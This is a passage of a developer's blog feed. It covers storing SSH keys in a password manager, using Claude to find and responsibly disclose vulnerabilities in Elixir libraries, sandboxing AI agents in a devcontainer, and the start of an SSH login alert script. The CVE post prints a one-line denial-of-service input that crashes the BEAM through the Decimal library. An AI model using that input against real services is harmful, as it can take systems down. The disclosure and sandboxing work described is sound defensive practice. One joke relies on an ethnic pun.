&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;launchctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;load&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;~/Library/LaunchAgents/com.proton.pass-cli.ssh-agent.plist&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s it! Your SSH agent should now start automatically when you restart your system.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#4-optional-fix-sshconfig&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;4-optional-fix-sshconfig&quot;&gt;&lt;/a&gt;4. (Optional) Fix &lt;code&gt;~/.ssh/config&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;If you have lines like &lt;code&gt;IdentityFile ~/.ssh/id_ed25519&lt;/code&gt; in your &lt;code&gt;~/.ssh/config&lt;/code&gt; you must either delete them or replace them with the following line:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-diff&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Host somehost.com
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f85149; background-color: #2c171b;&quot;&gt;   IdentityFile ~/.ssh/id_ed25519&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f85149; background-color: #2c171b;&quot;&gt;   IdentitiesOnly yes&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #3fb950; background-color: #10231c;&quot;&gt;   IdentityAgent ~/.ssh/proton-pass-agent.sock&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#one-caveat&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;one-caveat&quot;&gt;&lt;/a&gt;One Caveat&lt;/h2&gt;
&lt;p&gt;Storing your SSH keys in a password manager doesn&apos;t make them completely inaccessible to your system and therefore: to attackers. If you run &lt;code&gt;git push&lt;/code&gt; now, it will automatically fetch the SSH keys from Proton Pass to authenticate with GitHub. The only advantage here is that the SSH keys are no longer stored in a text file and malware can&apos;t simply copy and upload them. The downside is that malware can still execute commands like &lt;code&gt;git push&lt;/code&gt; to push malicious code to your GitHub, or it can &lt;code&gt;ssh&lt;/code&gt; into your server. The difference is that it now needs to execute these commands from your computer instead of from its warm and cosy home on the attacker&apos;s machine.&lt;/p&gt;
&lt;p&gt;If you want to be even safer, there are two more steps you can take:&lt;/p&gt;
&lt;p&gt;First, you can switch to 1Password which offers per-use biometric confirmation, which Proton Pass doesn&apos;t offer (yet). This means that you need to confirm every attempt to fetch your SSH keys with e.g. Touch ID or by typing your vault password. You can optionally set a timeframe in which you don&apos;t need to re-approve, which makes it easier to run multiple git commands without having to confirm each one in e.g. a 30-minute window.&lt;/p&gt;
&lt;p&gt;I really hope that Proton Pass adds per-use biometric confirmations soon, but I have confidence given that they added SSH key support only recently.&lt;/p&gt;
&lt;p&gt;Second, even safer than stored SSH keys are hardware keys like YubiKeys. You could replace your on-device SSH keys with a YubiKey for extra protection. It offers per-use confirmations which require you to touch the YubiKey briefly if a tool tries to read your SSH key. The downside of a physical device is obviously that if you lose it, you have to rotate your SSH keys, but this inconvenience buys you a lot more protection.&lt;/p&gt;
&lt;p&gt;Whatever you choose: &lt;strong&gt;Please don&apos;t store your SSH keys in text files in &lt;code&gt;~/.ssh&lt;/code&gt;!&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/store-ssh-keys-in-password-manager"/>
    <id>https://peterullrich.com/store-ssh-keys-in-password-manager</id>
    <title>Store your SSH keys in a Password Manager</title>
    <updated>2026-06-08T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks,&lt;/p&gt;
&lt;p&gt;let&apos;s start with a ceremonial dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;The worst job I ever had was ranking soft drinks in order of fizziness. 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;It was soda grading
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright, now: &lt;strong&gt;What&apos;s going on with all these CVEs, Peter?!&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-beginning&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-beginning&quot;&gt;&lt;/a&gt;The Beginning&lt;/h2&gt;
&lt;p&gt;When I went to ElixirConf EU in Málaga a few weeks back, I had quite a few conversations about the impact of LLMs on the security of our industry. Basically, everyone was scared of Mythos. The question was: &lt;strong&gt;Will AI make it easy to hack all our systems very soon?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After the conference, the Alembic folks invited me and some friends to spend an afternoon hacking at their apartment. I took the opportunity to put this question to the test. I didn&apos;t have access to Mythos (still don&apos;t), but I had Opus 4.7 with max effort, which seemed like the next best thing.&lt;/p&gt;
&lt;p&gt;My setup was very simple and based on an &lt;a href=&quot;https://red.anthropic.com/2026/property-based-testing/&quot;&gt;Anthropic article&lt;/a&gt; which suggested to feed files 1-by-1 to Opus together with a narrow prompt focused on finding vulnerabilities. I had Claude write a small bash script that called Claude Code with one filepath at the time and instructed it to write its findings to a markdown file.&lt;/p&gt;
&lt;p&gt;This simple setup proved to be extremely efficient. Within a few minutes, Opus found a major vulnerability in Decimal (&lt;a href=&quot;https://github.com/ericmj/decimal/security/advisories/GHSA-rhv4-8758-jx7v&quot;&gt;since disclosed&lt;/a&gt;). Basically, the following code would cause the BEAM to use 7gb of RAM and crash:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;1e1000000000&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Decimal&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Decimal&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I remember testing this finding and seeing the BEAM&apos;s memory usage &lt;strong&gt;explode&lt;/strong&gt;. This was my first &lt;code&gt;oh fuck&lt;/code&gt; moment.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#what-happened-after&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;what-happened-after&quot;&gt;&lt;/a&gt;What happened after&lt;/h2&gt;
&lt;p&gt;I didn&apos;t really know what to do with such a finding so I reached out to &lt;a href=&quot;https://github.com/maennchen&quot;&gt;Jonatan Männchen&lt;/a&gt;, the CISO of the EEF, and a person I already knew from various conferences. Jonatan was on his way to a well-deserved vacation, but still took the time to contact &lt;a href=&quot;https://github.com/ericmj&quot;&gt;Eric&lt;/a&gt;, the author of Decimal, and asked him to enable GitHub&apos;s private vulnerability reporting. This allowed me to report the vulnerability in private and it allowed Eric to pull in other authors of libraries that were effected as well. It also made it easier to coordinate the release. I worked with Jonatan throughout his vacation (sorry!) on reporting the vulnerabilities I found.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If there&apos;s only one thing you take away from this article, please let it be that you should enable GitHub&apos;s private vulnerability reporting on your most used libraries.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It makes it &lt;strong&gt;so much&lt;/strong&gt; easier to report vulnerabilities for everyone involved. It only takes 3 clicks per repo:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/what-the-cve/github-vuln-reporting-1.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
&lt;img src=&quot;/images/posts/what-the-cve/github-vuln-reporting-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;General advice: If you find a vulnerability and don&apos;t know what to do: Contact the EEF CNA via email &lt;a href=&quot;mailto:cna@erlef.org&quot;&gt;cna@erlef.org&lt;/a&gt;. The CNA - and Jonatan in particular - are incredibly helpful and resourceful and I have been leaning heavily on their expertise and support (Thank you, Jonatan 💜)&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#what-has-happened-since&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;what-has-happened-since&quot;&gt;&lt;/a&gt;What has happened since&lt;/h2&gt;
&lt;p&gt;After that first Decimal finding, I was hooked. I knew that the potential of LLMs finding and exploiting severe vulnerabilities was real. It was extremely cheap too! You can scan a library and write exploit scripts for $10 to $30 depending on the size of the library and the depth of your scan. This is &lt;strong&gt;insane&lt;/strong&gt;. It scales easily, runs mostly automated, and has to be done only once. I knew we had to act fast.&lt;/p&gt;
&lt;p&gt;I have since collaborated closely with Jonatan to scan and report vulnerabilities in the most downloaded Hex packages. You might have seen the CVEs for Bandit, PlugCowboy, Absinthe, or Phoenix. You can see the latest CVEs published on the EEF&apos;s CNA page: &lt;a href=&quot;https://cna.erlef.org/cves/&quot;&gt;https://cna.erlef.org/cves/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;My plan is to keep scanning and reporting until we have fixed all severe vulnerabilities in the most popular Hex libraries. This should put us in a better position when malicious actors discover the BEAM ecosystem and start scanning and exploiting libraries at scale.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#faqs&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;faqs&quot;&gt;&lt;/a&gt;FAQs&lt;/h2&gt;
&lt;p&gt;Let me close this article by answering the most frequently asked questions I&apos;ve received so far:&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#1-which-prompts-do-you-use-and-are-they-open-source&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;1-which-prompts-do-you-use-and-are-they-open-source&quot;&gt;&lt;/a&gt;1: Which prompts do you use and are they open source?&lt;/h3&gt;
&lt;p&gt;Yes. I just open-sourced them &lt;a href=&quot;https://gist.github.com/PJUllrich/c8b3ced91598eeea6e624f5f6bdf7fbf&quot;&gt;here&lt;/a&gt;. I use 3 different strategies: &lt;code&gt;per_file&lt;/code&gt;, &lt;code&gt;per_file_deep&lt;/code&gt;, and &lt;code&gt;whole&lt;/code&gt;, where &lt;code&gt;per_file&lt;/code&gt; is the cheapest and fastest strategy that still finds 80-90% of the most severe vulnerabilities. For important projects, I also run &lt;code&gt;per_file_deep&lt;/code&gt; which is largely based on the prompts by the &lt;a href=&quot;https://github.com/alpha-omega-security/scrutineer&quot;&gt;Scrutineer&lt;/a&gt; project. I also have a &lt;code&gt;whole&lt;/code&gt; strategy which allows Claude to explore an entire project by itself, but it doesn&apos;t work that well, takes longer, and costs more, so I don&apos;t run it often. I&apos;m hoping that Mythos will do better with this strategy, so I keep it.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#2-are-you-going-to-retire-soon-with-all-the-money-you-receive-from-reporting-cves&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;2-are-you-going-to-retire-soon-with-all-the-money-you-receive-from-reporting-cves&quot;&gt;&lt;/a&gt;2: Are you going to retire soon with all the money you receive from reporting CVEs?&lt;/h3&gt;
&lt;p&gt;No. I have received no money so far for this work. AFAIK there&apos;s no bug bounty program on any of the libraries I&apos;ve scanned. Until now, I have done this at my own expense which includes one Claude Max 20 plan plus &lt;strong&gt;a lot&lt;/strong&gt; of my free time including weekends, evenings, and holidays. I see it as a contribution to the ecosystem.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#3-what-do-you-think-about-mythos&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;3-what-do-you-think-about-mythos&quot;&gt;&lt;/a&gt;3: What do you think about Mythos?&lt;/h3&gt;
&lt;p&gt;I had no access to it yet, but from reports of people that I respect like &lt;a href=&quot;https://daniel.haxx.se/blog/2026/05/11/mythos-finds-a-curl-vulnerability/&quot;&gt;Daniel Stenberg&lt;/a&gt; I think that it will be better than Opus 4.7 at finding vulnerabilities, but it won&apos;t be a completely new thing. My gut feeling is that where Opus finds 80-85% of the vulnerabilities, Mythos might find 90-95%. That&apos;s why I think it&apos;s important to start now with what we have (Opus 4.7 on max effort) and then re-scan everything once Mythos becomes available.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#4-how-does-the-reporting-and-disclosure-process-look-like&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;4-how-does-the-reporting-and-disclosure-process-look-like&quot;&gt;&lt;/a&gt;4: How does the reporting and disclosure process look like?&lt;/h3&gt;
&lt;p&gt;The CVE Numbering Authority (CNA) of the EEF has a full guide on this here: &lt;a href=&quot;https://cna.erlef.org/security-policy&quot;&gt;https://cna.erlef.org/security-policy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And general guidelines for responsible disclosure here: &lt;a href=&quot;https://security.erlef.org/security_vulnerability_disclosure/&quot;&gt;https://security.erlef.org/security_vulnerability_disclosure&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But in essence: If you don&apos;t have the GitHub private vulnerability reporting enabled on your library, I or someone from the CNA will reach out to you and ask you to enable it or ask how we can otherwise report the vulnerability. If you enable it, I will send you a report through there and it will look similar to a PR discussion. It will have a description of the vulnerability and a script that reproduces the vulnerability.&lt;/p&gt;
&lt;p&gt;GitHub allows you to create a temporary private fork of your library to which you can add the fix. I can review the PR if you want. Once you and the CNA are ready, you publish the report, merge in the fix, and create a new release. The CNA publishes the CVE, usually within minutes to hours. The users of your library will then have to upgrade to the new version. That&apos;s it really. It seems more dramatic than it really is.&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/what-the-cve"/>
    <id>https://peterullrich.com/what-the-cve</id>
    <title>What the CVE?</title>
    <updated>2026-05-12T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks! First, a joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;What’s the worst vegetable to bring on a boat? 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;A leek
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let&apos;s talk about devcontainers for Elixir.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Claude now writes 95% of my code. I&apos;ve been lukewarm about the whole &quot;AI&quot; hype until Opus 4.5 was released. It was a game-changer for me. Sonnet was alright for small stuff with very guided instructions and it was a small net benefit for me, but Opus 4.5 was the first &lt;strong&gt;good&lt;/strong&gt; model in my opinion. It&apos;s still not perfect and probably will never be. At least I feel comfortable giving it less specific instructions knowing that it will produce something slightly better than absolute dogshit.&lt;/p&gt;
&lt;p&gt;This comfort allowed me to point Opus at larger and more complex problems, like migrating a Ruby library into Elixir or building a complex UI and generating its database model too.&lt;/p&gt;
&lt;p&gt;I wanted to let Opus &quot;do its thing&quot; without me having to click &quot;Yes, Yes, Yes&quot; all the time, but I also wanted to avoid an OpenClaw moment like Opus uploading my SSH keys to GitHub. Claude comes with the &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; flag which allows the agent to &quot;run free&quot;. Some call it the YOLO or &quot;Danger&quot; mode because it might break your computer or upload your secrets to the web.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/devcontainer-elixir/claude-danger2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So, I knew that I needed to create a safe environment for Opus to run in and &lt;a href=&quot;https://containers.dev/&quot;&gt;devcontainers&lt;/a&gt; seemed to provide exactly that.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;Devcontainers have been around for a while, but I think they were used primarily to spin up dev environments in the cloud. Now, with the advent of &quot;agentic programming&quot;, they&apos;ve come in handy to separate the agent from the host system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In essence, devcontainers are just Docker containers that you spin up locally and run your agent in. That&apos;s it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Starting a Docker container is easy. The tricky part is to restrict the agent to only the things it actually needs.&lt;/p&gt;
&lt;p&gt;For example, it should not follow links to nefarious sites and download their malware. Or it should never post anything to Pastebin. Also, it should not read the secrets in your &lt;code&gt;.env&lt;/code&gt; files or remove your root directory.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s dive into how I ended up building my own devcontainer for Elixir.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-setup&quot;&gt;&lt;/a&gt;The Setup&lt;/h2&gt;
&lt;p&gt;I started by searching for existing devcontainers for Elixir/Phoenix, but found nothing specific. So, I looked at &lt;a href=&quot;https://github.com/anthropics/claude-code/tree/main/.devcontainer&quot;&gt;Anthropic&apos;s example devcontainer&lt;/a&gt; and that became the starting point to build my own.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You can find the final devcontainer I use every day &lt;a href=&quot;https://github.com/PJUllrich/devcontainer&quot;&gt;on GitHub&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The base of my devcontainer was Anthropic&apos;s Dockerfile, but I made the following changes to it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Replace the &lt;code&gt;node&lt;/code&gt; base image with Hex.pm&apos;s Elixir/Erlang image&lt;/li&gt;
&lt;li&gt;Run the container as a &lt;strong&gt;non-root user&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Install Tidewave by default&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This gave me a more secure and Elixir-based devcontainer, but it was still missing three things: A better firewall, protected paths, and CLI commands.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-firewall&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-firewall&quot;&gt;&lt;/a&gt;The Firewall&lt;/h3&gt;
&lt;p&gt;Anthropic&apos;s devcontainer restricts outgoing network traffic to a list of IPs that are resolved when you build the container. These hard-coded IPs don&apos;t work well if the domain you want to connect to uses a load-balancer or servers on multiple IPs (like &lt;code&gt;claude.ai&lt;/code&gt;). At build-time, Docker might resolve a domain to one IP, but when Claude runs the HTTP request, it might connect to a different IP and the request gets blocked.&lt;/p&gt;
&lt;p&gt;I decided to replace this flaky setup with domain-based traffic restrictions. So, instead of allow-listing individual IPs, I&apos;d allow-list entire domains instead. Setting this up was surprisingly difficult and took the most time when creating the devcontainer.&lt;/p&gt;
&lt;p&gt;I tried out a multitude of proxies like &lt;a href=&quot;https://tinyproxy.github.io/&quot;&gt;TinyProxy&lt;/a&gt; and &lt;a href=&quot;https://github.com/3proxy/3proxy&quot;&gt;3Proxy&lt;/a&gt;, but none of them handled both SSL and non-SSL traffic and domain-level filtering well. I ended up using &lt;a href=&quot;https://www.squid-cache.org/&quot;&gt;Squid&lt;/a&gt; because, although it is overpowered, it worked well without too much configuration.&lt;/p&gt;
&lt;p&gt;Using Squid and a little bit of bash, I was able to define the allow-list of domains in a single &lt;code&gt;.txt&lt;/code&gt; file and Squid would restrict all outgoing traffic to only these domains, blocking everything else.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#protected-paths&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;protected-paths&quot;&gt;&lt;/a&gt;Protected Paths&lt;/h3&gt;
&lt;p&gt;Next, I wanted to make it easy to &quot;hide&quot; files like &lt;code&gt;.env&lt;/code&gt; from Claude. Even if you tell Claude that it &lt;strong&gt;MUST never&lt;/strong&gt; read them, it can and will still do it. The best option would be to remove them from my project entirely, but that&apos;s also not practical since I needed these secrets.&lt;/p&gt;
&lt;p&gt;I ended up mounting empty files and folders over the list of protected paths in the devcontainer. This way Claude still sees the files, but they are empty, at least in the container. I also added the protected paths as deny rules to Claude&apos;s project-wide &lt;code&gt;settings.json&lt;/code&gt; file. This won&apos;t stop Claude from listing or even reading the files, but at least it will try less often.&lt;/p&gt;
&lt;p&gt;I inject the needed &lt;code&gt;env&lt;/code&gt; variables into the container, so Claude could still run &lt;code&gt;echo $MY_SECRET&lt;/code&gt; and get the secret. That&apos;s why even with all these layers of protection, I make sure to never use production secrets in my &lt;code&gt;.env&lt;/code&gt; file.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#cli-commands&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;cli-commands&quot;&gt;&lt;/a&gt;CLI Commands&lt;/h3&gt;
&lt;p&gt;Lastly, I added a &lt;a href=&quot;https://github.com/PJUllrich/devcontainer/blob/main/.devcontainer/Makefile&quot;&gt;Makefile&lt;/a&gt; with shortcuts for the commands I use often, like to start, stop, or rebuild the devcontainer, to start Tidewave, print out logs, or start the Phoenix server. This makes developing with the devcontainer a bit smoother.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to use the devcontainer or extend it, you can find it &lt;a href=&quot;https://github.com/PJUllrich/devcontainer&quot;&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/a-devcontainer-for-elixir"/>
    <id>https://peterullrich.com/a-devcontainer-for-elixir</id>
    <title>A Devcontainer for Elixir</title>
    <updated>2026-03-18T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, welcome back! First a joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Why did the Mexican start taking anti-anxiety medication? 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;For Hispanic attacks
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, a quick tip on how to notify yourself if someone (hopefully yourself) logs into your server using SSH.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;I&apos;ve migrated all my apps from various hosting providers to my own Hetzner bare metal server recently. It works fantastically, but now with all my eggs in a single, self-managed server, I got a bit worried about getting hacked.&lt;/p&gt;
&lt;p&gt;In particular, I wanted to make sure that nobody gets into my server through SSH but me. So, I asked Claude to write me a little script that sends a notification to my phone via Pushover whenever an SSH session is started.&lt;/p&gt;
&lt;p&gt;Here&apos;s the script:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# File at /opt/ssh-notify.sh&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#!/bin/bash&lt;/span&gt;
